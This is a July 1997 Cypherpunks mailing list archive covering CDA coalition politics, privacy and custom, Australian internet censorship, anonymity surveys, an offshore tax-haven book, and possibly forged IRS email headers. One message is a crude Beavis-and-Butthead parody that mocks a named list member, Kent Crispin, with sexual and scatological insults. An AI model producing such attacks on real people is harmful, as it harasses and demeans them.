OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9TMAo9Co1n+aLhhAQGIJQP/d70SczW735437GLmeyEcs7WYzELARnoO
9BLjBMpl+cZpfdLrzzZTStyOAo+ub4b5v65QSXPkehXkNeJ4F+43BQQ1q5Ki4cXI
6Slw1ldt1p6P0hESwSZovZ65FrTMOEft3PavInvQm5LRCU/TayE21BJ80uNr1uK1
Iqy/an/bLFg=
=yGDr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 23:26:02 +0800
To: cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
Message-ID: <97Jul22.110332edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Declan McCullagh wrote:

> Maybe it was naive to think that the anti-CDA coalition would hang
> together after the Supreme Court decision. After all, the current fault
> lines are split along some of the same divisions that existed for a year
> and a half in two lawsuits: the one organized by the ACLU and the one
> organized by CIEC. I've heard some say that the current dispute was
> inevitable. 
> 
> Or, think of it this way: when privacy groups ally with the religious
> right on database legislation, they don't expect their alliance to last
> forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
> copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
> when the Cato Institute joins Ralph Nader on opposing the CDA.
> 
> These are issue-by-issue alliances, and everyone involved understands that
> from the start. Perhaps we should have thought of the CDA alliance the
> same way? Or perhaps the conflict arises because all groups would like to
> claim the mantle of "representing the interests of the Net" -- which
> brings with it some political currency here in Washington. And some might
> say the tussle comes from long-standing personality conflicts.

I think something more is going on, at least with the "conserative
movement", but I also watch National Empowerment Television :).

Grover Norquist has coined the term "The Leave-us-alone Coalition" that
simply wants the government out of everything they have no constitutional
authority to be in.  They perceive government as an intrinsic evil and the
only thing that should be done is to slay the dragon.  I would number
Eagle Forum and the Progress and Freedom Foundation in this group.

The other side (e.g. Concerned Women For America) wants to "tame" or turn
the dragon and assume they can make the power to kill and imprison work
for good when they are in control, and will even let Bill & Hillary run
things if they "will only save our kids from cyberporn".

The first group are deserting the Republican party as such in droves (look
for a Libertarian party pickup if the party avoids being too libertine). 
The Republican coalition is based on shrinking the power and cost of
government and the people they have proved to be ineffective or even
against shrinking government in practice.  Principled losses would be
welcomed over compromised victories, but even worse, they stand on
principle for two weeks, and when it looks like they are about to win, but
are getting a media barrage only inside the beltway, they cave in
suffering all the scars of battle without anything to show for it.  The
next (1998) election should be interesting. 

The CDA brought the differences into clear view.  I usually ask if they
would like Joycelyn Elders to decide what gets censored (Who do they think
Bill & Hillary would appoint?), or if the same courts that they say can't
tell up from down in their judicial abuse alerts will be able to decide on
whether an anti-abortion site is "indecent".

What I cannot understand is why people who spend a great deal of their
content cataloging abuses from all branches of government and otherwise
say it is too intrusive believe that in the instance of net censorship
that it will suddenly turn into a wise and beatific force when every other
bit of evidence would indicate otherwise. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ng Pheng Siong" <jlumstoi@pacific.net.sg>
Date: Tue, 22 Jul 1997 11:36:45 +0800
To: cypherpunks@toad.com
Subject: "How many times erased does DOD want?"
Message-ID: <199707220320.LAA00623@sagan.pacific.net.sg>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I'm looking for the news posting with the subject line as above.
Poster David Hayes, comp.periphs.scsi, 24 July 91, message-id
1991Jul24.050701.16005@sulaco.lonestar.org.

Got no luck with Dejanews, reference.com and Altavista.

The topic is data recovery from magnetic media. 
Also appreciate any pointers to info on same.

TIA. Cheers.

- PS
Ng Pheng Siong 
<jlumstoi@pacific.net.sg>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 23 Jul 1997 03:18:19 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970722113622.25813@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 22, 1997 at 09:05:23AM -0700, Steve Schear wrote:
> At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
> >On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> >Can there be any doubt at all? It's obviously old cheap rhetoric
> >through and through, not even Bill Clinton at his worst could match
> >it.
> 
> Speaking of Clinton,
> 
> "If Clinton blows anymore smoke up my ass, my sphincter is going to sue
> Philip-Morris."  --Dennis Miller

:-)

I should have used Freeh for an example.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 22 Jul 1997 23:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007804aff9d745474f@[207.94.249.108]>
Message-ID: <97Jul22.115025edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 22 Jul 1997, Bill Frantz wrote:

> As far as I can tell, law, custom, and technology are the three ways we
> have to protect our privacy.  Cypherpunks are well aware of the
> technological options, so I won't discuss them further except to note that
> they probably are not, by themselves, enough.
... 
> The last is custom.  This approach appears in cypherpunk discussions as an
> emphasis on contractual relations between people and the organizations
> receiving data.  It is this area I would like to discuss.
...
> What makes a good privacy contract?  What should you expect when you buy
> something?  What is the standard contract?  What exceptions must be clearly
> noted?  How does society decide these cultural issues?

A contract is something within law and enforcable by courts, so you aren't
really talking "custom".  And even with private contracts, not everything
is enforcable.  Other times something like a contract (IANAL) is created
such as when I buy a product unless it says "as-is" it has some implicit
warranties under the universal commercial code.

Contracts are good things, but they are cumbersome because they have to be
negotiated on the spot [like the man at computer city who wrote on the
back of his check for their "club" membership - acceptance of this ... 
says you won't send me junkmail;  They deposited the check and he sued and
won].

On a web page, I usually cannot send an E-NDA in the form they want me to
fill out (so I often leave spaces blank or with obviously bad numbers and
some comment to contact me).  This is usually less efficient than phoning.

This leaves Custom as such, a social instead of a legal contract.  The net
has been good at policing its own.  Web pages asking for email addresses
aren't supposed to forward them to spambots.  They now often state this
explicitly.  If someone says something wrong in a discussion group, they
get flamed, and if they do it enough, they are placed in everyone's kill
file.

The problem is that culture takes a while to learn, and with everyone with
different customs comes to the net, they may not see anything wrong with
doing something they are used to (for a physical world example: some local
immigrants from an area where barter was the custom tried haggling on
price-tagged items until they figured out what was going on). 

Custom is determined by evolution, not by specification.  And that cannot
be accelerated, and will be a problem until everyone has been on the net
long enough to establish a common set of manners.  How much information
does someone retain?  Enough so that a web page presents your desired
configuration without having to retype it?  Should they pass this on to a
sister site?  A different company? 

The worst thing that can happen is to codify custom.  I can see that as
the reason to avoid "Voluntary Ratings", because as soon as a misrated
(who determines?) page comes up, it becomes cause for a legal action, and
then everyone will want it to be manditory and enforced.

So a measure of politeness (indicating what the content might be so it can
be filtered) becomes a political battle, almost as if I don't go out and
say something offensive in public every day then I am not defending my
first ammendment rights - which is only slightly less bizzarre than some
of the judicial decisions.

--- reply to tzeruch - at - ceddec - dot - com ---







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 23 Jul 1997 00:33:45 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Queen of Pseudononymity
Message-ID: <199707221612.MAA17707@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



http://customnews.cnn.com/cnews/pna.show_story?p_art_id=186693&p_section_name=Sci-Tech


British Queen Admits to Being a Keen Web Surfer

NewsBytes
22-JUL-97

LONDON, ENGLAND, 1997 JUL 22 (Newsbytes) -- By Sylvia Dennis.
Buckingham Palace's press office has revealed that one of the reasons
for the opening of the Royal World Wide Web site at
http://www.royal.gov.uk in March of this year was Queen Elizabeth's
fondness of the Internet.

According to press reports in the serious UK press over the weekend,
both The Queen and her husband, HRH Prince Phillip, The Duke of
Edinburgh, are keen users of the Internet. The Queen is apparently
using Internet e-mail to keep in touch with favored UK citizens.

Rather than use the obvious e-mail address of
one@buckinghampalace.co.uk, however The Queen is apparently using a
number of pseudonyms to hide her true identity.  Only the recipients
of her e-mail are alleged to know who is really behind their messages.


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 00:34:22 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970721180611.27600@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970722115644.2526C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Kent Crispin wrote:

> Right.  So those people simply don't count, and might as well be
> eliminated.

Butthead: Whoa!  That was cool!
Bevis: I like stuff that's like, um, you know, cool, huh huh, huh huh. 
Butthead: Me too, but I hate stuff that sucks
Bevis: Yeah, yeah, huh huh, huh huh.
Butthead: huh huh, huh huh.
Bevis: Hey Butthead, let's eliminate something...
Butthead: Yeah, let's go take a dump on Kent's head..  Huh huh.
Bevis: huh huh, huh huh...

> No, Tim obviously lives in a world rich in fantasy.  But he is a very
> clever fellow, and can be quite impressive.  

Bevis: He said fellow, huh huh, huh huh, huh huh.
Butthead: Yeah, yeah, and then he said impressive.
Bevis: We're there dude!
Butthead: Yeah, Kent is a wuss, he like works for the NSA or something
Bevis: Yeah, he works for your butt, fartknocker.
Butthead: Huh huh, huh huh, shuddup before I smack you Bevis.
Kent: I am Spookholio, come out with your passphrases down (whoa, that was
cool, yeah um, huh huh, huh huh.)
Kent: I need access to your bunghole.  Grease up now citizen unit.
Bevis: Whoa, that was cool or something
Butthead: This sucks, change the channel.
Kent: Are you threatening me? Government Access to Keys Now!
Bevis: Kent is getting lame.  Yeah, I'd rather go back to school than
       watch him.
Butthead: Yeah, what a wuss, even we wouldn't give him  our passwords.
Bevis: Yeah, let him spank his own monkey.
Butthead: Huh huh, yeah, huh huh.
Kent: I am the great Spookholio, boioioioing!  I need access to your butt.
Butthead: Shut up Kent before I smack you.
Kent: Bend over now! And pay for the vaseline(tm) All will bend over to
      the creat Spookholio!  I need GAK for my bunghole.
Bevis: yeah, yeah, shutup asswipe.
Butthead: You fart knocker.
Bevis: Hey, Butthead, let's leave or something... this sucks...
Butthead, Uh, huh huh, yeah Kent, go take a dump or something
Bevis: He's like, pretending to be Cornholio or something...
Kent: Are you threatening me?
Butthead: yeah, what a lame poser, dude...
Bevis: this sucks
Kent: You buttmunch.  I'll get Louie Freeh after you..
Butthead: Kent you schill, you suck choads.
Bevis: yeah, yeah...
Butthead: Is that government shit coming out of his mouth?
Bevis: yeah, he's got, like diarhea of the mouth or something...
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Diareah, cha cha cha
B&B: Huh huh, huh huh, huh huh, that was cool!

... Now back to more regularly scheduled MTV videos ....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Jul 1997 01:54:55 +0800
To: cypherpunks@toad.com
Subject: Re: disappointing honeymoon!
Message-ID: <P5590D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



enoch@sim.zipcon.net (Mike Duvos) wrote:
>IceAngel (geode@netcom.com) wrote:
>
>: While this is actually very humorous in many ways (well, it IS, Mike!)
>
>It's not half as funny as the daily bot-generated insults directed at Tim
>May on the Cypherpunks list, allegedly by Tim's good friend Dr. Dimitri
>Vulis.  They even arrive with little ascii pictures attached. 
>
>Compared to Dr. Vulis, J.Goat/Motherhood/mikeduvos/mrs_mike_duvos is a
>very lame pretender, and probably a dandruff-covered Armenian to boot. 

Naw, I'm not fightimh with Ray anymore.

>
>: heh....you probably don't know Mike very well.
>
>That is correct.  After all, it's just little zeros and ones. 
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch@zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}

Free Cypherpunk Political Prisoner Jim Bell now!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Wed, 23 Jul 1997 01:10:17 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Fight-each-other
In-Reply-To: <97Jul22.110332edt.32258@brickwall.ceddec.com>
Message-ID: <199707221715.NAA30596@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Mismatched NFS IDs writes:

> I think something more is going on, at least with the "conserative
> movement", but I also watch National Empowerment Television :).
> 
> Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> simply wants the government out of everything they have no constitutional
> authority to be in.  They perceive government as an intrinsic evil and the
> only thing that should be done is to slay the dragon.  I would number
> Eagle Forum and the Progress and Freedom Foundation in this group.

Sure, *they* want to be left alone, but I wouldn't trust these
groups to leave the rest of us alone.  They'll want to make sure
that we're not ingesting any controlled substances, and that we're
not shacking up with an unmarried partner, and that we're not peeking
at porn or engaging in "abnormal" sexual practices, and that we pray
to the right god at the right time, and so forth.  These groups are
not friends of liberty.  Like the traditional "liberals", they seek
not so much to slay the dragon as to replace it with their own.  If
they currently happen to agree with "us" on net issues, fine.  
Otherwise, give me true libertarians anyday.


[snip]
> The first group are deserting the Republican party as such in droves (look
> for a Libertarian party pickup if the party avoids being too libertine). 

Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
amendment, or a school prayer amendment or a flag-burning amendment?
No, I don't think these folks will be joining the Libertarian party
anytime soon.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 23 Jul 1997 03:01:24 +0800
To: cypherpunks@toad.com
Subject: Book:The Complete Guide to Offshore Money Havens
Message-ID: <Pine.SUN.3.96.970722142136.2526I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Just found this:

Title:     The Complete Guide to Offshore Money Havens
Author:    Jerome Schneider
ISDB:      0-7615-0451-6
Price:     $29.95USD MSRP
Publisher: Prima Publishing.
           Copryight 1996 by author.

"How to make Millions, protect your privacy and legally avoid taxes -
Whether your net worth is $100 or $100 million" is the quote on the cover.

TOC:

1. Bankrupcy of America
2. The Beacon Offshore
3. The Open Door: Doing Business Offshore
4. The Profit Incentive
5. In Pursuit of True Financial Privacy
6. Offshore Tax Protection
7. Protecting Your Assets
8. Eight Steps to Offshore Success
9. Offshore Money Havens: Where to Go
10. Inversons on File
11. Getting started the Easy Way.

Appendixes:
1. How to Open a Foreign Bank Account
2. Offshore Money Havens from Canada
3. Addresses
4. Forms.

Anyone know if this book is any good?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@gargoyle.apana.org.au
Date: Tue, 22 Jul 1997 13:13:04 +0800
To: cypherpunks@cyberpass.net
Subject: Australia to Censor the Net
Message-ID: <199707220504.PAA17769@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



Electronic Frontiers Australia Inc.        

                    Media Release                  July 20th 1997

GOVT INTERNET PROPOSALS -- THREAT TO FREE SPEECH; BURDEN ON ISPS 

Online civil liberties group Electronic Frontiers Australia has warned
that the proposals for Internet regulation released this week by the
Minister for Communications and the Arts, Senator Alston, and the
Attorney-General, Mr Williams, would threaten free speech and place an
impossible burden on Internet service providers.

EFA Chair Kimberley Heitman said the Government had done well to avoid
the totalitarian censorship recommendations of the Senate Select
Committee in its June 1997 report.  However the proposals were still
"an unnecessary intrusion by Big Brother".

There are several problems with the suggested principles for
legislation.

The principles make Internet Service Providers (ISPs) responsible for
content created and published by others.  "It is quite simple.", said
Mr Heitman. "Content providers should be responsible for content.  The
whole concept of making service providers responsible for content is
bizarre. It is as senseless as making paper-makers responsible for
books published using their paper".

The principles require ISPs to make judgements about how material
published by their users would be classified by the Office of Film and
Literature Classification.  "The recent Rabelais case in the Federal
Court illustrates the complexity of the OFLC classification system",
said Mr Heitman.  "But now ISPs, whose skills are primarily technical,
are expected to enter the legal minefield of censorship
classification. This is an extraordinary burden which can only result
in perfectly legal material being removed 'just in case'."

The principles do not explain how jurisdictional issues resulting from
States passing their own censorship laws would be resolved. 
"Requiring ISPs to take into account whether material would 'otherwise
be illegal under a State or Territory law' could be a total nightmare,
especially for national service providers", commented Mr Heitman. "It
would effectively allow individual States to impose their values on
the entire country".

The principles fail to take into account that clearly objectionable
material such as child pornography is already illegal under existing
law, or that the vast bulk of "adult" material is sourced from outside
Australia.  "The Clinton administration in the USA has just abandoned
attempts to regulate the Internet - yet Australia seems to be trying
to do the impossible all by itself", said Mr Heitman.

There is still no evidence that there is any problem for which
legislation of this kind is the solution.  User education and
community awareness are important, but these can not usefully be
compelled by legislation.

ENDS

      --------------------------------------------------------------
      Electronic Frontiers Australia Inc  --  http://www.efa.org.au/
      representing Internet users concerned with on-line freedoms
      --------------------------------------------------------------
      Media Contacts

      Kimberley Heitman
      Phone: +61 8 9458 2790
      Email: kheitman@it.com.au

      Danny Yee
      Phone (home): +61 2 9955 9898
      Phone (work): +61 2 9351 5159
      Email: danny.yee@efa.org.au
      --------------------------------------------------------------

BACKGROUND

DCA principles:
 http://www.dca.gov.au/policy/fwork_4_online_svces/framework.htm

EXERPT:
[snip]
PRINCIPLES FOR A REGULATORY FRAMEWORK FOR ON-LINE SERVICES IN THE
BROADCASTING SERVICES ACT 1992

1. The Broadcasting Services Act 1992 (BSA) should be amended to
establish a national framework of effective industry self-regulation
for on-line service providers, supervised by the Australian
Broadcasting Authority (ABA), in relation to content transmitted
through on-line networks.

Objectives

2. The regulatory regime should aim to : 

(a) encourage on-line service providers to respect community standards
in relation to material published by means of their service; and

(b) encourage the provision of means for addressing complaints about
content published by means of an on-line services; and

(c) ensure that on-line service providers place a high priority on the
protection of minors from exposure to material which may be harmful to
them.

3. The legislation should encourage the development of self-regulatory
mechanisms and in particular avoid inhibiting the growth and
development of the on-line services industry by placing unreasonable
regulatory constraints on the on-line services provider industry
regarding the publication and transmission of material.

4. The legislation should codify the responsibilities of an on-line
service provider in relation to objectionable content and other
content that is of concern to the community accessed by means of the
on-line service provider's network.
[snip]
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Wed, 23 Jul 1997 07:09:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CDT's Berman Opposes Online Anonymity
Message-ID: <199707222257.PAA02445@f30.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



There is a project on anonymous communications by the
AAAS, very respected scientific organization.  You can take
a survey about it at http://www.aaas.org/spp/anon/.

"Bill


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 23 Jul 1997 11:47:44 +0800
To: cypherpunks@Algebra.COM
Subject: DEATH TO TYRANTS
Message-ID: <v03102800affb2d3ac4ed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



By the way, I don't recall it being mentioned that the message from "IRS
Inspection" had an interesting subject line: DEATH TO TYRANTS.

I don't know if this was on the message others received, but it was on my
version. Included below are the headers.

Odd that this would be used, and probably not coincidental that the famous
quote has been in my most recent .sig for only a few months, and only
_after_ the Bell arrest (as far as I can recall). It's unlikely the IRS
"Inspectors" had any mail from me via Bell's computer(s) with this quote in
it.

--Tim May


>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
><tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
>X-Real-To: <tcmay@got.net>
>Received: by tcs_gateway1.treas.gov id AA19560
>  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:36:21 -0400
>Date: Thu, 17 Jul 1997 12:18:35 -0400
>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
>To: Interested-Parties@net.insp.irs.gov
>Subject: DEATH TO TYRANTS
>
>
>
>					United States Attorney
>					Western District of Washington
>
>FOR IMMEDIATE RELEASE
>July 18, 1997
>
>JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
>SECURITY NUMBERS
....

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Wed, 23 Jul 1997 10:04:25 +0800
To: cypherpunks@cyberpass.net
Subject: List of Reliable Royal Remailers
Message-ID: <v03102800affb1439bb31@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain




   The Queen sends e-mail anonymously through a government pool system
   that does not depend upon the user having a regular "handle" - such as
   One@Buckhouse.Com. It resets the user's name with every message.

Open questions:
    Address
    Any Peers

http://www.sunday-times.co.uk/news/pages/Sunday-Times/stinwenws01017.html?134926
0






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <nobody@rigel.cyberpass.net>
Date: Wed, 23 Jul 1997 10:14:47 +0800
To: Cypherpunks List <cypherpunks@cyberpass.net>
Subject: Re: Fight-each-other
In-Reply-To: <199707221715.NAA30596@jafar.issl.atl.hp.com>
Message-ID: <97Jul22.220455edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Regarding the subject, Q.E.D.

On Tue, 22 Jul 1997, Jeff Barber wrote:

> > Grover Norquist has coined the term "The Leave-us-alone Coalition" that
> > simply wants the government out of everything they have no constitutional
> > authority to be in.  They perceive government as an intrinsic evil and the
> > only thing that should be done is to slay the dragon.  I would number
> > Eagle Forum and the Progress and Freedom Foundation in this group.
> 
> Sure, *they* want to be left alone, but I wouldn't trust these
> groups to leave the rest of us alone.  They'll want to make sure
> that we're not ingesting any controlled substances, and that we're
> not shacking up with an unmarried partner, and that we're not peeking
> at porn or engaging in "abnormal" sexual practices, and that we pray
> to the right god at the right time, and so forth.  These groups are
> not friends of liberty.  Like the traditional "liberals", they seek
> not so much to slay the dragon as to replace it with their own.  If
> they currently happen to agree with "us" on net issues, fine.  
> Otherwise, give me true libertarians anyday.

You either missed or paraphrased my second paragraph.  My point is
precisely that the rift is between those who want to use government to
regulate the things you mention, and those who don't think it is the
government's business, whether they consider them good or bad.  The
organizations I mentioned here specifically don't want the federal
government trying to control these things.

In general, sacrificing one's own liberty in an attempt to limit someone
else's behavior when it doesn't affect anyone else, even if it is
self-destructive, is silly. 

Both France and the United States had revolutions at about the same time.
One eventually established liberty and the other a reign of terror, but
both thought they were "true libertarians".

> > The first group are deserting the Republican party as such in droves (look
> > for a Libertarian party pickup if the party avoids being too libertine). 
> 
> Hah!  Can anyone imagine the Libertarians supporting an Anti-abortion
> amendment, or a school prayer amendment or a flag-burning amendment?
> No, I don't think these folks will be joining the Libertarian party
> anytime soon.

Political parties are defined by their members and a membership change
would result in a policy change.  I can imagine a 10th ammendment style
anti-abortion ammendment which would overturn Roe v. Wade and remove the
federal government from the debate.  I can also imagine a similar
ammendment returning us to "public schools" instead of the current
"government schools" which would have prayers or not as part of their
local policy.  And I have heard many "conservative Republicans" say that
they should trivially alter the constitution for something like flag
descration. 

But I will even go further.  There is such an organization as Libertarians
for Life - where you stand on the abortion question is dependent on when
you think a human life becomes a person with constitutional protections,
not on whether you think there should be laws against murder, or whether
people who want medical procedures should be able to have them, which
there is almost unanimous agreement on.  The rift in the Republican party
will cause a similar one in the Libertarian party, between the Actonite
and Libertine and even the anarchical wings.  Even libertarinaism is not a
point, but a continuum.  True libertarians all agree that my rights end
where yours begin, but not on exactly where that line is, and rights are
only one side of the equation.  Liberty is precious and a delicate balance
which is why it is so rare.

Liberty has a cost of personal responsibility.  Ingesting controlled
substances can affect me if they drive or work for me.  Remember that the
other side of this is that I would be able to personally evaluate all
these things when deciding to hire someone I intend for a long term
position - they can have all their privacy but no job, or would have to
act under my definition of responsibility - and you would be equally free
to hire people who met your standards.

Or to update the old joke, A socialist is a libertarian who has overdosed
or injured someone during a blackout, had a child out of wedlock, or has
contracted a STD.  They probably start praying too :). 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Wed, 23 Jul 1997 11:34:54 +0800
To: cypherpunks@toad.com
Subject: Cops, Spies Fail to Slow Crypto Bill
Message-ID: <33D577C5.7327@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



Security and Freedom through Encryption Act passed at a mark-up
meeting of the House International Relations Committee.

	http://www.wired.com/news/news/politics/story/5399.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 12:40:36 +0800
To: Tim May <tcmay@got.net>
Subject: Re: DEATH TO TYRANTS
In-Reply-To: <v03102800affb2d3ac4ed@[207.167.93.63]>
Message-ID: <199707230432.XAA18997@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


Hmmm... looks like it may be a forged header here:

>Received: from you for tcmay
> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997

The received line above looks rather suspicious.


In <v03102800affb2d3ac4ed@[207.167.93.63]>, on 07/22/97 
   at 08:44 PM, Tim May <tcmay@got.net> said:

>By the way, I don't recall it being mentioned that the message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.

>I don't know if this was on the message others received, but it was on my
>version. Included below are the headers.

>Odd that this would be used, and probably not coincidental that the
>famous quote has been in my most recent .sig for only a few months, and
>only _after_ the Bell arrest (as far as I can recall). It's unlikely the
>IRS "Inspectors" had any mail from me via Bell's computer(s) with this
>quote in it.

>--Tim May


>>Received: from you for tcmay
>> with Cubic Circle's cucipop (v1.13 1996/12/26) Fri Jul 18 19:25:02 1997
>>X-From_: irsnwpr@net.insp.irs.gov Fri Jul 18 15:30:05 1997
>>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>>[204.151.245.2]) by you.got.net (8.8.5/8.8.3) with SMTP id PAA28395 for
>><tcmay@got.net>; Fri, 18 Jul 1997 15:29:59 -0700
>>X-Real-To: <tcmay@got.net>
>>Received: by tcs_gateway1.treas.gov id AA19560
>>  (InterLock SMTP Gateway 3.0 for tcmay@got.net);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>>  Fri, 18 Jul 1997 18:36:21 -0400
>>Date: Thu, 17 Jul 1997 12:18:35 -0400
>>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>>Message-Id: <199707171618.MAA02670@net.insp.irs.gov>
>>To: Interested-Parties@net.insp.irs.gov
>>Subject: DEATH TO TYRANTS
